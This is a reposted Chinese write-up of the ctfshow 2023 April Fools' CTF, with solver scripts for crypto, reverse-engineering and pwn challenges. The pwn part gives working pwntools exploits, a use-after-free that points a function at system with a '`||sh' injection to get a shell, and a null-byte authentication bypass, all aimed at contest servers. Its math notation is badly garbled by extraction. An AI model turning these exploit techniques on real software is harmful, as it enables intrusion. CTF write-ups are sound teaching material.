E = EllipticCurve(GF(p),[a, b])for m1 in tqdm.tqdm(range(10000,99999)):try:
        X = E.lift_x(m1 -4585)
        Y =7* X
        if Y[0]==33237936857741483513705672980652927705102229733798436323453609986072499230366:print(m1)breakexcept:pass# 62428

第二部分

k = getPrime(256)
K = k * G
r = getPrime(256)
c1 = m + r * K
c2 = r * G
w2 = m[0]* m2

已知

    k
   
   
    ,
   
   
    c
   
   
    1
   
   
    ,
   
   
    c
   
   
    2
   
   
    ,
   
   
    w
   
   
    2
   
  
  
   k,c1,c2,w2
  
 
k,c1,c2,w2,有

 
  
   
    m
   
   
    =
   
   
    c
   
   
    1
   
   
    −
   
   
    k
   
   
    ∗
   
   
    
     c
    
    
     2
    
   
  
  
   m = c1-k*c_2
  
 
m=c1−k∗c2​, 

 
  
   
    m
   
   
    2
   
   
    =
   
   
    w
   
   
    2
   
   
    ∗
   
   
    i
   
   
    n
   
   
    v
   
   
    e
   
   
    r
   
   
    s
   
   
    e
   
   
    (
   
   
    i
   
   
    n
   
   
    t
   
   
    (
   
   
    m
   
   
    [
   
   
    0
   
   
    ]
   
   
    )
   
   
    ,
   
   
    p
   
   
    )
   
  
  
   m2 = w2 * inverse(int(m[0]), p) % p
  
 
m2=w2∗inverse(int(m[0]),p)
from Crypto.Util.number import inverse, long_to_bytes
p =71397796933602469825964946338224836258949974632540581233301840806613437378503
a =106105288190268015217241182934677375171023341761047638573248022053052499733117
b =76170541771321874396004434442157725545076211607587599314450304327736999807927
k =58155941823118858940343657716409231510854647214870891375273032214774400828217
c1 =(37414446283406201193977113266234367761786780230360175925999700345196415953455,17037724145039910971426670298726906655653040365428438334942732090559637519851)
c2 =(60560423732267272277570046154733119097475794979191838027420415113112056962844,54372226143125971429691267751299496959531971082475860532181772357190222938465)
w2 =16315249811700998894876359855091105114973337718373913477026230968747515636405

E = EllipticCurve(GF(p),[a, b])

m1 =62428
c1 = E(c1)
c2 = E(c2)
m = c1 - k * c2
m2 = w2 * inverse(int(m[0]), p)% p
print(long_to_bytes(int(str(m1)+str(m2))))# b'ctfshow{the_answer_is_it}'

ctfshow{the_answer_is_it}

easy_xor

已知

    m
   
  
  
   m
  
 
m异或上

 
  
   
    p
   
  
  
   p
  
 
p,但是

 
  
   
    m
   
  
  
   m
  
 
m是256位的,这就相当于已知

 
  
   
    p
   
  
  
   p
  
 
p的高位,然后就是

 
  
   
    c
   
   
    o
   
   
    p
   
   
    p
   
   
    e
   
   
    r
   
   
    s
   
   
    m
   
   
    i
   
   
    t
   
   
    h
   
  
  
   coppersmith
  
 
coppersmith求

 
  
   
    p
   
  
  
   p
  
 
p的高位
from Crypto.Util.number import long_to_bytes
c1 =151198307301713399973545627808177783191262282577048906899567665485020342464366268384613589477129150406859219553325982275344405383612415523342568367197935454935162234419239807109194526080836070453102172720442102673200212658553214847476648456720629906051324248179394810385918370092764118401652990951968387233220
n =20873587976264698212013861921447267548758723109929620330136081844796427967720295581580927324390713931549639540337285515365487607593546367886570408812338077846317206794057714877394609181224434104303259411081376607299962306250984285173463537669954845497211859940191392861121877814873939865829555350848523691546006073264112091406848179785659505299775196062799482197712761744192962658799557108701192680225134300686608396391566674966897700511638643429161735764600752699251493599533703928135311599575989253347234975026924804433742500175666009324057320386262109587593814197687132304704244158862263859846356497849518103755981
PR.<x>= Zmod(n)[]
f =(c1 >>256<<256)+ x

p =int(f.small_roots(X=2**256, beta=0.4)[0])
m = c1 ^^ p
print(long_to_bytes(m))

RE

easy_pyc

在线反编译pyc

#!/usr/bin/env python# visit https://tool.lu/pyc/ for more information# Version: Python 2.7print'Welcome to CTFshow Re!'print'your flag is here!'
flag =''
l =len(flag)for i inrange(l):
    num =((flag[i]+ i)%114514+114514)%114514
    code +=chr(num)

code =map(ord, code)for i inrange((l -4)+1):
    code[i]= code[i]^ code[i +1]print code
code =['%16','%1d','%1e','%1a','%18','\t','%ff','%d0',',','%03','%02','%14','8','m','%01','C','D','%bd','%f7','*','\r','%da','%f9','%1c','&','5',"'",'%da','%d4','%d1','%0b','%c7','%c7','%1a','%90','D','%a1']

python2的版本,简单异或,异或回去就行,改成python3的

from Crypto.Util.number import*

code1 =[b'\x16',b'\x1d',b'\x1e',b'\x1a',b'\x18',b'\t',b'\xff',b'\xd0',b',',b'\x03',b'\x02',b'\x14',b'8',b'm',b'\x01',b'C',b'D',b'\xbd',b'\xf7',b'*',b'\r',b'\xda',b'\xf9',b'\x1c',b'&',b'5',b"'",b'\xda',b'\xd4',b'\xd1',b'\x0b',b'\xc7',b'\xc7',b'\x1a',b'\x90',b'D',b'\xa1']for i inrange(len(code1)-3,0,-1):
    code1[i-1]=int.to_bytes(bytes_to_long(code1[i])^ bytes_to_long(code1[i-1]))print(''.join([chr(bytes_to_long(code1[i])-i)for i inrange(len(code1))]))

ctfshow{Just_F00l’s_D@y_R3_Ch3ck-in!}

easy_cc

ida开,shift+F12找关键字,定位到相关函数

45

    k
   
   
    e
   
   
    y
   
  
  
   key
  
 
key是
key123

,然后也是简单异或,洒洒水啦

x ='08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216'
key ='key123'for i inrange(0,len(x),2):print(chr(ord(key[(i //2)%6])^int(x[i:i +2],16)), end='')

PWN

easy_checkin

uaf漏洞

静态链接,存在system函数,直接用||绕过执行命令

from pwn import*#context.log_level = "debug"
context.arch="amd64"
binary_name ="check-in.check-in"
elf =ELF("./"+binary_name)
local =1
se      =lambda data               :io.send(data) 
sa      =lambda delim,data         :io.sendafter(delim, data)
sl      =lambda data               :io.sendline(data)
sla     =lambda delim,data         :io.sendlineafter(delim, data)
rc      =lambda num                  :io.recv(num)
rl      =lambda:io.recvline()
ru      =lambda delims             :io.recvuntil(delims)
uu32    =lambda data               :u32(data.ljust(4,b'\x00'))    
uu64    =lambda data               :u64(data.ljust(8,b'\x00'))
info    =lambda tag, addr          :log.info(tag +" -------------> "+hex(addr))
ia        =lambda:io.interactive()if local==1:
    io = remote("pwn.challenge.ctf.show",28110)else:
    io = process("./"+binary_name)defdebug():
    gdb.attach(io,'''
    set glibc 2.31\n
    b *0x08048C27
        ''')
    pause()defadd(size,val):
    sla(b"chioce :",b'1')
    sla(b'Note size :',str(size).encode())
    sla(b'Content :',val)defshow(index):
    sla(b"chioce :",b'3')
    sla(b'Index :',str(index).encode())deffree(index):
    sla(b"chioce :",b'2')
    sla(b'Index :',str(index).encode())

add(0x10,b'aaaa')
add(0x10,b'bbbb')

free(0)
free(1)
add(0x8+4, p32(0x08050560)+b"`||sh")
show(0)
ia()

easy_sql

123

auth_user要等与CTFshow-demo-code-admin,后面第32的位子又要等于yes,那么用b’\x00’隔断绕过验证

3

第一次输入一个不存在的数据库名,使a_0=1,然后就会直接return,但保留了a_0的值,第二次输入flag数据库名,因为a_0==1所以会进入f_4函数查询数据库中的flag了

from pwn import*#context.log_level = "debug"
context.arch="amd64"
binary_name ="easy_sql.sql"
elf =ELF("./"+binary_name)
local =1
se      =lambda data               :io.send(data) 
sa      =lambda delim,data         :io.sendafter(delim, data)
sl      =lambda data               :io.sendline(data)
sla     =lambda delim,data         :io.sendlineafter(delim, data)
rc      =lambda num                  :io.recv(num)
rl      =lambda:io.recvline()
ru      =lambda delims             :io.recvuntil(delims)
uu32    =lambda data               :u32(data.ljust(4,b'\x00'))    
uu64    =lambda data               :u64(data.ljust(8,b'\x00'))
info    =lambda tag, addr          :log.info(tag +" -------------> "+hex(addr))
ia        =lambda:io.interactive()if local==1:
    io = remote("pwn.challenge.ctf.show",28110)else:
    io = process("./"+binary_name)defdebug():
    gdb.attach(io,'''
    b strtok
        ''')
    pause()# debug()
payload =b'CTFshow-demo-code-admin\x00'
payload = payload.ljust(32,b'a')
payload +=b"sey"# sl(payload)
sla(b'code:', payload)
sla(b"Query:",b"read")
sla(b'from:',b"aaaa")
sla(b"Query:",b"read")
sla(b'from:',b"flag")
sla(b'read:',b"aaaa")
ia()
标签: 安全 python

本文转载自: https://blog.csdn.net/qq_53283643/article/details/129929988
版权归原作者 mxx307 所有, 如有侵权,请联系我们删除。

“ctfshow—2023愚人杯wp”的评论:

还没有评论